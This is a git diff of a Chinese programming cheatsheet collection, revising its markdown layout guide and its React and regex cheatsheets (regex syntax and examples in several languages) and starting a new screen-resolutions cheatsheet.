c = \pm\sqrt{a^2 + b^2}
|
||||
L = \frac{1}{2} \rho v^2 S C_L
|
||||
```
|
||||
|
||||
上面示例 [`Markdown`](./markdown.md) 代码源码
|
||||
|
||||
```markdown {1}
|
||||
```KaTeX
|
||||
c = \pm\sqrt{a^2 + b^2}
|
||||
L = \frac{1}{2} \rho v^2 S C_L
|
||||
```
|
||||
|
||||
还可以单行展示 `KaTeX:c = \pm\sqrt{a^2 + b^2}`,需要标记 <code>\`KaTeX:数学公式\`</code> 将被显示成数学公式,这是基于 [KaTeX](https://katex.org/) 生成
|
||||
|
||||
布局
|
||||
---
|
||||
@ -246,7 +382,7 @@ H2 部分
|
||||
|
||||
上面实例 `H2 部分` 标题下面有三个`卡片`,默认 `3` 栏布局。
|
||||
|
||||
```markdown
|
||||
```markdown {3}
|
||||
H2 部分
|
||||
---
|
||||
<!--rehype:body-class=cols-2-->
|
||||
@ -269,7 +405,7 @@ H2 部分
|
||||
|
||||
### 占位布局 style 写法
|
||||
|
||||
```markdown
|
||||
```markdown {2}
|
||||
### H3 部分
|
||||
<!--rehype:wrap-style=grid-row: span 2/span 2;-->
|
||||
```
|
||||
@ -279,7 +415,7 @@ H2 部分
|
||||
|
||||
### 卡片栏布局 style 写法
|
||||
|
||||
```markdown
|
||||
```markdown {2}
|
||||
## H2 部分
|
||||
<!--rehype:body-style=grid-template-columns: repeat(2,minmax(0,1fr));-->
|
||||
```
|
||||
@ -289,7 +425,7 @@ H2 部分
|
||||
|
||||
### H3 部分
|
||||
|
||||
```markdown
|
||||
```markdown {2,4}
|
||||
### 卡片 1 (H3 部分)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
### 卡片 2 (H3 部分)
|
||||
@ -320,7 +456,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### H3 Title 1
|
||||
@ -345,7 +481,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -393,7 +529,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -417,7 +553,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -441,7 +577,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -465,7 +601,7 @@ H2 部分
|
||||
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -489,7 +625,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
H2 部分
|
||||
@ -520,7 +656,7 @@ H2 部分
|
||||
╰┈┈┈╯ ╰┈┈┈╯ ╰┈┈┈╯
|
||||
```
|
||||
|
||||
上面布局效果 Markdown 源码:
|
||||
上面布局效果 [Markdown](./markdown.md) 源码:
|
||||
|
||||
```markdown
|
||||
### Title 1
|
||||
@ -534,7 +670,6 @@ H2 部分
|
||||
|
||||
在 `Title 1` 标题添加 `col-span-2` 和 `row-span-2` 占位类,使用 `空格` 间隔。
|
||||
|
||||
|
||||
表格
|
||||
---
|
||||
|
||||
@ -602,6 +737,28 @@ H2 部分
|
||||
|
||||
`<!--rehype:className=style-list-arrow-->`
|
||||
|
||||
### 隐藏表头强制小尺寸自动换行
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
|
||||
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
|
||||
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
|
||||
<!--rehype:className=auto-wrap-->
|
||||
|
||||
`<!--rehype:className=auto-wrap-->`
|
||||
|
||||
### 表格末尾列左对齐
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
| Prefix | What |
|
||||
| ---- | ---- |
|
||||
`//` | Anywhere
|
||||
`./` | Relative
|
||||
<!--rehype:className=show-header left-align-->
|
||||
|
||||
默认表格末尾列`右对齐`,添加 `<!--rehype:className=left-align-->` 类让其`左对齐`
|
||||
|
||||
列表
|
||||
---
|
||||
|
||||
@ -629,14 +786,19 @@ H2 部分
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- **重命名为 new_name**
|
||||
|
||||
```bash
|
||||
$ git branch -m <new_name>
|
||||
```
|
||||
|
||||
- 推送和**重置**
|
||||
|
||||
```bash
|
||||
$ git push origin -u <new_name>
|
||||
```
|
||||
|
||||
- 删除远程分支
|
||||
|
||||
```bash
|
||||
$ git push origin --delete <old>
|
||||
```
|
||||
|
@ -3,7 +3,6 @@ React 备忘清单
|
||||
|
||||
适合初学者的综合 React 备忘清单。
|
||||
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
@ -59,7 +58,6 @@ import World, { Hello } from './hello.js';
|
||||
|
||||
使用 `import` 导入 `Hello` 组件,在示例中使用。
|
||||
|
||||
|
||||
### React 组件中的 CSS
|
||||
|
||||
```jsx {2,5}
|
||||
@ -82,7 +80,6 @@ export const Student = (
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
### 属性
|
||||
|
||||
```jsx
|
||||
@ -112,7 +109,6 @@ class Student extends React.Component {
|
||||
|
||||
`class` 组件使用 `this.props` 访问传递给组件的属性。
|
||||
|
||||
|
||||
### Children
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
@ -138,7 +134,7 @@ function AlertBox(props) {
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
```jsx
|
||||
{props.children}
|
||||
@ -158,7 +154,7 @@ class AlertBox extends React.Component {
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
```jsx
|
||||
{this.props.children}
|
||||
@ -297,7 +293,7 @@ function Student() {
|
||||
|
||||
### Portals
|
||||
|
||||
React 并*没有*创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
|
||||
React 并_没有_创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
|
||||
|
||||
```jsx
|
||||
render() {
|
||||
@ -438,7 +434,7 @@ function CustomTextInput(props) {
|
||||
</div>
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
- [识别不安全的生命周期](https://zh-hans.reactjs.org/docs/strict-mode.html#identifying-unsafe-lifecycles)
|
||||
- [关于使用过时字符串 ref API 的警告](https://zh-hans.reactjs.org/docs/strict-mode.html#warning-about-legacy-string-ref-api-usage)
|
||||
@ -754,7 +750,7 @@ export default function Weather(props) {
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
```js
|
||||
{isShow && <div>内容</div>}
|
||||
@ -860,7 +856,6 @@ class Welcome extends React.Component {
|
||||
`this.props` | 组件接受参数
|
||||
`this.state` | 组件内状态
|
||||
|
||||
|
||||
### Pure 组件
|
||||
|
||||
```jsx
|
||||
@ -1003,7 +998,7 @@ Menu.Item = ({ children }) => (
|
||||
);
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
```jsx
|
||||
<Menu>
|
||||
@ -1330,7 +1325,7 @@ PropTypes 属性类型检查
|
||||
import PropTypes from 'prop-types'
|
||||
```
|
||||
|
||||
----
|
||||
-----
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
@ -1354,7 +1349,6 @@ import PropTypes from 'prop-types'
|
||||
`oneOf(any)` | 枚举类型
|
||||
`oneOfType([type])` | 几种类型中的任意一个类型
|
||||
|
||||
|
||||
#### _数组 Array_
|
||||
|
||||
:- | -
|
||||
@ -1537,4 +1531,4 @@ MyComponent.propTypes = {
|
||||
- [React 官方中文文档](https://zh-hans.reactjs.org/) _(zh-hans.reactjs.org)_
|
||||
- [反应生命周期方法图](https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) _(projects.wojtekmaj.pl)_
|
||||
- [React 16 Cheat Sheet](https://reactcheatsheet.com)
|
||||
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
|
||||
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
|
||||
|
184
docs/regex.md
184
docs/regex.md
@ -33,7 +33,6 @@ RegEX 备忘清单
|
||||
`[a-zA-Z]` | 范围内的字符:<br>`a-z` 或 `A-Z`
|
||||
`[a-zA-Z0-9]` | 范围内的字符:<br>`a-z`、`A-Z` 或 `0-9`
|
||||
|
||||
|
||||
### 量词
|
||||
|
||||
范例 | 说明
|
||||
@ -115,7 +114,6 @@ RegEX 备忘清单
|
||||
`[\b]` | 退格字符
|
||||
`\` | 使任何字符文字
|
||||
|
||||
|
||||
### 锚点
|
||||
|
||||
范例 | 说明
|
||||
@ -129,7 +127,6 @@ RegEX 备忘清单
|
||||
`\b` | 一个词的边界
|
||||
`\B` | 非单词边界
|
||||
|
||||
|
||||
### 替代
|
||||
|
||||
范例 | 说明
|
||||
@ -210,8 +207,8 @@ RegEX 备忘清单
|
||||
`(?!...)` | 负先行断言
|
||||
`(?<=...)` | 正后发断言
|
||||
`(?<!...)` | 负后发断言
|
||||
`?= `|正先行断言-存在
|
||||
`?! `|负先行断言-排除
|
||||
`?=`|正先行断言-存在
|
||||
`?!`|负先行断言-排除
|
||||
`?<=`|正后发断言-存在
|
||||
`?<!`|负后发断言-排除
|
||||
|
||||
@ -244,30 +241,30 @@ RegEX 备忘清单
|
||||
|
||||
:-|-
|
||||
:-|-
|
||||
`(*ACCEPT)` | 控制动词
|
||||
`(*FAIL)` | 控制动词
|
||||
`(*MARK:NAME)` | 控制动词
|
||||
`(*COMMIT)` | 控制动词
|
||||
`(*PRUNE)` | 控制动词
|
||||
`(*SKIP)` | 控制动词
|
||||
`(*THEN)` | 控制动词
|
||||
`(*UTF)` | 图案修饰符
|
||||
`(*UTF8)` | 图案修饰符
|
||||
`(*UTF16)` | 图案修饰符
|
||||
`(*UTF32)` | 图案修饰符
|
||||
`(*UCP)` | 图案修饰符
|
||||
`(*CR)` | 换行修饰符
|
||||
`(*LF)` | 换行修饰符
|
||||
`(*CRLF)` | 换行修饰符
|
||||
`(*ANYCRLF)` | 换行修饰符
|
||||
`(*ANY)` | 换行修饰符
|
||||
`\R` | 换行修饰符
|
||||
`(*BSR_ANYCRLF)` | 换行修饰符
|
||||
`(*BSR_UNICODE)` | 换行修饰符
|
||||
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
|
||||
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
|
||||
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
|
||||
`(*NO_START_OPT)` | 正则表达式引擎修饰符
|
||||
`(*ACCEPT)` | 控制动词
|
||||
`(*FAIL)` | 控制动词
|
||||
`(*MARK:NAME)` | 控制动词
|
||||
`(*COMMIT)` | 控制动词
|
||||
`(*PRUNE)` | 控制动词
|
||||
`(*SKIP)` | 控制动词
|
||||
`(*THEN)` | 控制动词
|
||||
`(*UTF)` | 图案修饰符
|
||||
`(*UTF8)` | 图案修饰符
|
||||
`(*UTF16)` | 图案修饰符
|
||||
`(*UTF32)` | 图案修饰符
|
||||
`(*UCP)` | 图案修饰符
|
||||
`(*CR)` | 换行修饰符
|
||||
`(*LF)` | 换行修饰符
|
||||
`(*CRLF)` | 换行修饰符
|
||||
`(*ANYCRLF)` | 换行修饰符
|
||||
`(*ANY)` | 换行修饰符
|
||||
`\R` | 换行修饰符
|
||||
`(*BSR_ANYCRLF)` | 换行修饰符
|
||||
`(*BSR_UNICODE)` | 换行修饰符
|
||||
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
|
||||
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
|
||||
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
|
||||
`(*NO_START_OPT)` | 正则表达式引擎修饰符
|
||||
|
||||
正则表达式示例
|
||||
--------------
|
||||
@ -276,26 +273,25 @@ RegEX 备忘清单
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`ring ` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
|
||||
`. ` | 匹配 <yel>a</yel>、<yel>9</yel>、<yel>+</yel> 等。
|
||||
`h.o ` | 匹配 <yel>hoo</yel>、<yel>h2o</yel>、<yel>h/o</yel> 等。
|
||||
`ring\? ` | 匹配 <yel>ring?</yel>
|
||||
`\(quiet\) ` | 匹配<yel>(安静)</yel>
|
||||
`c:\\windows ` | 匹配 <yel>c:\windows</yel>
|
||||
`ring` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
|
||||
`.` | 匹配 <yel>a</yel>、<yel>9</yel>、<yel>+</yel> 等。
|
||||
`h.o` | 匹配 <yel>hoo</yel>、<yel>h2o</yel>、<yel>h/o</yel> 等。
|
||||
`ring\?` | 匹配 <yel>ring?</yel>
|
||||
`\(quiet\)` | 匹配<yel>(安静)</yel>
|
||||
`c:\\windows` | 匹配 <yel>c:\windows</yel>
|
||||
|
||||
使用 `\` 搜索这些特殊字符:<br> `[ \ ^ $ . | ? * + ( ) { }`
|
||||
|
||||
|
||||
### 速记类
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`\w ` | “单词”字符 <br> _(字母、数字或下划线)_
|
||||
`\d ` | 数字
|
||||
`\s ` | 空格 <br> _(空格、制表符、vtab、换行符)_
|
||||
`\W, \D, or \S ` | 不是单词、数字或空格
|
||||
`[\D\S] ` | 表示不是数字或空格,两者都匹配
|
||||
`[^\d\s] ` | 禁止数字和空格
|
||||
`\w` | “单词”字符 <br> _(字母、数字或下划线)_
|
||||
`\d` | 数字
|
||||
`\s` | 空格 <br> _(空格、制表符、vtab、换行符)_
|
||||
`\W, \D, or \S` | 不是单词、数字或空格
|
||||
`[\D\S]` | 表示不是数字或空格,两者都匹配
|
||||
`[^\d\s]` | 禁止数字和空格
|
||||
|
||||
### 出现次数
|
||||
|
||||
@ -311,9 +307,9 @@ RegEX 备忘清单
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`cat\|dog ` | 匹配 <yel>cat</yel> 或 <yel>dog</yel>
|
||||
`id\|identity ` | 匹配 <yel>id</yel> 或 <yel>id</yel>entity
|
||||
`identity\|id ` | 匹配 <yel>id</yel> 或 <yel>identity</yel>
|
||||
`cat\|dog` | 匹配 <yel>cat</yel> 或 <yel>dog</yel>
|
||||
`id\|identity` | 匹配 <yel>id</yel> 或 <yel>id</yel>entity
|
||||
`identity\|id` | 匹配 <yel>id</yel> 或 <yel>identity</yel>
|
||||
|
||||
当替代品重叠时,命令从长到短
|
||||
|
||||
@ -334,7 +330,7 @@ RegEX 备忘清单
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`* + {n,}`<br>_greedy_ | 尽可能匹配
|
||||
`<.+> ` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
|
||||
`<.+>` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
|
||||
`*? +? {n,}?`<br>_lazy_ | 尽可能少匹配
|
||||
`<.+?>` | 在 \<<yel>b</yel>>bold\<<yel>\/b</yel>> 中找到 2 个匹配项
|
||||
|
||||
@ -343,20 +339,19 @@ RegEX 备忘清单
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`\b ` | “单词”边缘(非“单词”字符旁边)
|
||||
`\bring ` | 单词以“ring”开头,例如 <yel>ringtone</yel>
|
||||
`ring\b ` | 单词以“ring”结尾,例如 <yel>spring</yel>
|
||||
`\b9\b ` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
|
||||
`\b[a-zA-Z]{6}\b ` | 匹配 6 个字母的单词
|
||||
`\B ` | 不是字边
|
||||
`\Bring\B ` | 匹配 <yel>springs</yel> 和 <yel>wringer</yel>
|
||||
`^\d*$ ` | 整个字符串必须是数字
|
||||
`\b` | “单词”边缘(非“单词”字符旁边)
|
||||
`\bring` | 单词以“ring”开头,例如 <yel>ringtone</yel>
|
||||
`ring\b` | 单词以“ring”结尾,例如 <yel>spring</yel>
|
||||
`\b9\b` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
|
||||
`\b[a-zA-Z]{6}\b` | 匹配 6 个字母的单词
|
||||
`\B` | 不是字边
|
||||
`\Bring\B` | 匹配 <yel>springs</yel> 和 <yel>wringer</yel>
|
||||
`^\d*$` | 整个字符串必须是数字
|
||||
`^[a-zA-Z]{4,20}$` | 字符串必须有 4-20 个字母
|
||||
`^[A-Z] ` | 字符串必须以大写字母开头
|
||||
`[\.!?"')]$ ` | 字符串必须以终端标点结尾
|
||||
`^[A-Z]` | 字符串必须以大写字母开头
|
||||
`[\.!?"')]$` | 字符串必须以终端标点结尾
|
||||
|
||||
|
||||
### 修饰
|
||||
### 修饰
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
@ -371,8 +366,8 @@ RegEX 备忘清单
|
||||
|
||||
范例 | 说明
|
||||
:-|-
|
||||
`(in\|out)put ` | 匹配 <yel>input</yel> 或 <yel>output</yel>
|
||||
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
|
||||
`(in\|out)put` | 匹配 <yel>input</yel> 或 <yel>output</yel>
|
||||
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
|
||||
|
||||
如果组后匹配失败,解析器会尝试每个替代方案。
|
||||
<br>
|
||||
@ -417,11 +412,10 @@ RegEX 备忘清单
|
||||
`(?<! )` | 向后看,如果你找不到后面
|
||||
`\b\w+?(?=ing\b)` | 匹配 <yel>warbl</yel>ing, <yel>str</yel>ing, <yel>fish</yel>ing, ...
|
||||
`\b(?!\w+ing\b)\w+\b` | 不以“ing”结尾的单词
|
||||
`(?<=\bpre).*?\b ` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
|
||||
`(?<=\bpre).*?\b` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
|
||||
`\b\w{3}(?<!pre)\w*?\b` | 不以“pre”开头的词
|
||||
`\b\w+(?<!ing)\b` | 匹配不以“ing”结尾的单词
|
||||
|
||||
|
||||
### If-then-else
|
||||
|
||||
匹配 `Mr.` 或 `Ms.` 如果单词 `her` 稍后在字符串中
|
||||
@ -458,7 +452,7 @@ M(?(?=.*?\bher\b)s|r)\.
|
||||
|
||||
表达式 | 匹配示例
|
||||
:- | -
|
||||
`.ar` | The `car` `par`ked in the `gar`age.
|
||||
`.ar` | The `car` <pur>`par`</pur>ked in the `gar`age.
|
||||
`ar[.]` | A garage is a good place to park a c`ar`.
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
@ -480,7 +474,7 @@ M(?(?=.*?\bher\b)s|r)\.
|
||||
|
||||
表达式 | 匹配示例
|
||||
:- | -
|
||||
`[a-z]*` | T`he` `car` `parked` `in` `the` `garage` #21.
|
||||
`[a-z]*` | T`he` <pur>`car`</pur> `parked` <pur>`in`</pur> `the` <pur>`garage`</pur> #21.
|
||||
`\s*cat\s*` | The fat `cat` sat on the con`cat`enation.
|
||||
|
||||
表达式 `[a-z]*` 匹配一个行中所有以小写字母开头的字符串。
|
||||
@ -509,7 +503,7 @@ M(?(?=.*?\bher\b)s|r)\.
|
||||
`[0-9]{2,3}` | The number was 9.`999`7 but we rounded it off to `10`.0.
|
||||
`[0-9]{2,}` | The number was 9.`9997` but we rounded it off to `10`.0.
|
||||
`[0-9]{3}` | The number was 9.`999`7 but we rounded it off to 10.0.
|
||||
<!--rehype:className=show-header-->
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### `(...)` 特征标群
|
||||
|
||||
@ -622,7 +616,7 @@ M(?(?=.*?\bher\b)s|r)\.
|
||||
表达式 | 匹配示例
|
||||
:- | -
|
||||
`The` | The `fat` cat sat on the mat.
|
||||
`/The/gi` | The `fat` `cat` `sat` on the `mat`.
|
||||
`/The/gi` | `The` fat cat sat on `the` mat.
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
修饰语 `i` 用于忽略大小写,`g` 表示全局搜索。
|
||||
@ -649,8 +643,8 @@ M(?(?=.*?\bher\b)s|r)\.
|
||||
|
||||
表达式 | 匹配示例
|
||||
:- | -
|
||||
`/(.*at)/` | `The fat cat sat on the mat`.
|
||||
`/(.*?at)/` | `The fat` cat sat on the mat.
|
||||
`/(.*at)/` | `The fat cat sat on the mat`.
|
||||
`/(.*?at)/` | `The fat` cat sat on the mat.
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
Python 中的正则表达式
|
||||
@ -664,7 +658,6 @@ Python 中的正则表达式
|
||||
import re
|
||||
```
|
||||
|
||||
|
||||
### 实例
|
||||
<!--rehype:wrap-class=col-span-2 row-span-3-->
|
||||
|
||||
@ -729,18 +722,15 @@ False
|
||||
函数 | 说明
|
||||
:-|-
|
||||
`re.findall` | 返回包含所有匹配项的列表
|
||||
`re.finditer` | 返回一个可迭代的匹配对象(每个匹配一个)
|
||||
`re.finditer` | 返回一个可迭代的匹配对象<br/> _(每个匹配一个)_
|
||||
`re.search` | 如果字符串中的任何位置存在匹配项,则返回 Match 对象
|
||||
`re.split` | 返回一个列表,其中字符串在每次匹配时被拆分
|
||||
`re.sub` | 用字符串替换一个或多个匹配项
|
||||
`re.compile` | 编译正则表达式模式供以后使用
|
||||
`re.escape` | 返回所有非字母数字反斜杠的字符串
|
||||
|
||||
|
||||
|
||||
### Flags 标志
|
||||
|
||||
|
||||
:- | - | -
|
||||
:- | - | -
|
||||
`re.I` | `re.IGNORECASE` | 忽略大小写
|
||||
@ -750,8 +740,6 @@ False
|
||||
`re.U` | `re.UNICODE` | 使 `\w`、`\b`、`\d`、`\s` _unicode 依赖_
|
||||
`re.X` | `re.VERBOSE` | 可读风格
|
||||
|
||||
|
||||
|
||||
JavaScript 中的正则表达式
|
||||
---------------
|
||||
|
||||
@ -830,7 +818,7 @@ let regex = /apples/gi;
|
||||
console.log(text.match(regex));
|
||||
```
|
||||
|
||||
### split()
|
||||
### split()
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```javascript
|
||||
@ -855,7 +843,7 @@ console.log(array[1]);
|
||||
|
||||
### replace()
|
||||
|
||||
```javascript {.wrap}
|
||||
```javascript
|
||||
let text = 'Do you like aPPles?';
|
||||
let regex = /apples/i
|
||||
|
||||
@ -894,14 +882,12 @@ text.replaceAll(regex, "mangoes");
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
|
||||
PHP中的正则表达式
|
||||
------------
|
||||
|
||||
### 函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`preg_match()` | 执行正则表达式匹配
|
||||
@ -911,7 +897,6 @@ PHP中的正则表达式
|
||||
`preg_split()` | 按正则表达式模式拆分字符串
|
||||
`preg_grep()` | 返回与模式匹配的数组条目
|
||||
|
||||
|
||||
### preg_replace
|
||||
|
||||
```php
|
||||
@ -923,7 +908,6 @@ echo preg_replace($regex, "QuickRef", $str);
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
|
||||
### preg_match
|
||||
|
||||
```php
|
||||
@ -933,7 +917,6 @@ $regex = "#quickref#i";
|
||||
echo preg_match($regex, $str);
|
||||
```
|
||||
|
||||
|
||||
### preg_matchall
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
@ -952,17 +935,15 @@ if (preg_match_all($regex, $input_str, $matches_out)) {
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### preg_grep
|
||||
|
||||
```php
|
||||
```php
|
||||
$arr = ["Jane", "jane", "Joan", "JANE"];
|
||||
$regex = "/Jane/";
|
||||
// Output: Jane
|
||||
echo preg_grep($regex, $arr);
|
||||
```
|
||||
|
||||
|
||||
### preg_split
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -973,7 +954,6 @@ $regex = "@\s@";
|
||||
print_r(preg_split($regex, $str));
|
||||
```
|
||||
|
||||
|
||||
Java 中的正则表达式
|
||||
-------------
|
||||
|
||||
@ -1003,10 +983,8 @@ boolean s3 = Pattern.matches(".s", "XXXX");
|
||||
System.out.println(s3); // Outputs: false
|
||||
```
|
||||
|
||||
|
||||
### 模式字段
|
||||
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`CANON_EQ` | 规范等价
|
||||
@ -1017,7 +995,6 @@ System.out.println(s3); // Outputs: false
|
||||
`UNICODE_CASE` | Unicode 感知大小写折叠
|
||||
`UNIX_LINES` | Unix 行模式
|
||||
|
||||
|
||||
### 方法
|
||||
|
||||
#### Pattern
|
||||
@ -1029,10 +1006,10 @@ System.out.println(s3); // Outputs: false
|
||||
|
||||
#### 匹配器
|
||||
|
||||
- int start([int group | 字符串名称])
|
||||
- int end([int group | 字符串名称])
|
||||
- int start([int group | 字符串名称])
|
||||
- int end([int group | 字符串名称])
|
||||
- 布尔 find([int start])
|
||||
- 字符 group([int 组 | 字符串名称])
|
||||
- 字符 group([int 组 | 字符串名称])
|
||||
- 匹配器重置 reset()
|
||||
|
||||
#### String
|
||||
@ -1043,7 +1020,6 @@ System.out.println(s3); // Outputs: false
|
||||
|
||||
还有更多方法...
|
||||
|
||||
|
||||
### 例子
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -1073,7 +1049,6 @@ while (m.find()) {
|
||||
System.out.println(matches);
|
||||
```
|
||||
|
||||
|
||||
MySQL中的正则表达式
|
||||
-------------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
@ -1082,16 +1057,15 @@ MySQL中的正则表达式
|
||||
|
||||
函数名称 | 说明
|
||||
:- | -
|
||||
`REGEXP ` | 字符串是否匹配正则表达式
|
||||
`REGEXP_INSTR() ` | 匹配正则表达式的子字符串的起始索引 <br>_(注意:仅限 MySQL 8.0+)_
|
||||
`REGEXP_LIKE() ` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
|
||||
`REGEXP` | 字符串是否匹配正则表达式
|
||||
`REGEXP_INSTR()` | 匹配正则表达式的子字符串的起始索引 <br>_(注意:仅限 MySQL 8.0+)_
|
||||
`REGEXP_LIKE()` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
|
||||
`REGEXP_REPLACE()` | 替换匹配正则表达式的子字符串 <br>_(注意:仅限 MySQL 8.0+)_
|
||||
`REGEXP_SUBSTR() ` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
|
||||
|
||||
|
||||
`REGEXP_SUBSTR()` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
|
||||
|
||||
### REGEXP
|
||||
```sql {.wrap}
|
||||
|
||||
```sql
|
||||
expr REGEXP pat
|
||||
```
|
||||
|
||||
@ -1107,7 +1081,6 @@ mysql> SELECT 'a' REGEXP 'A', 'a' REGEXP BINARY 'A';
|
||||
1 0
|
||||
```
|
||||
|
||||
|
||||
### REGEXP_REPLACE
|
||||
|
||||
```
|
||||
@ -1123,7 +1096,6 @@ mysql> SELECT REGEXP_REPLACE('abc ghi', '[a-z]+', 'X', 1, 2);
|
||||
abc X
|
||||
```
|
||||
|
||||
|
||||
### REGEXP_SUBSTR
|
||||
|
||||
```
|
||||
@ -1139,8 +1111,7 @@ mysql> SELECT REGEXP_SUBSTR('abc def ghi', '[a-z]+', 1, 3);
|
||||
ghi
|
||||
```
|
||||
|
||||
|
||||
### REGEXP_LIKE
|
||||
### REGEXP_LIKE
|
||||
|
||||
```
|
||||
REGEXP_LIKE(expr, pat[, match_type])
|
||||
@ -1161,10 +1132,9 @@ mysql> SELECT regexp_like('a\nb\nc', '^b$', 'm');
|
||||
1
|
||||
```
|
||||
|
||||
|
||||
### REGEXP_INSTR
|
||||
|
||||
``` {.wrap}
|
||||
```
|
||||
REGEXP_INSTR(expr, pat[, pos[, occurrence[, return_option[, match_type]]]])
|
||||
```
|
||||
|
||||
|
276
docs/resolutions.md
Normal file
276
docs/resolutions.md
Normal file
@ -0,0 +1,276 @@
|
||||
Resolutions 备忘清单
|
||||
===
|
||||
|
||||
此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
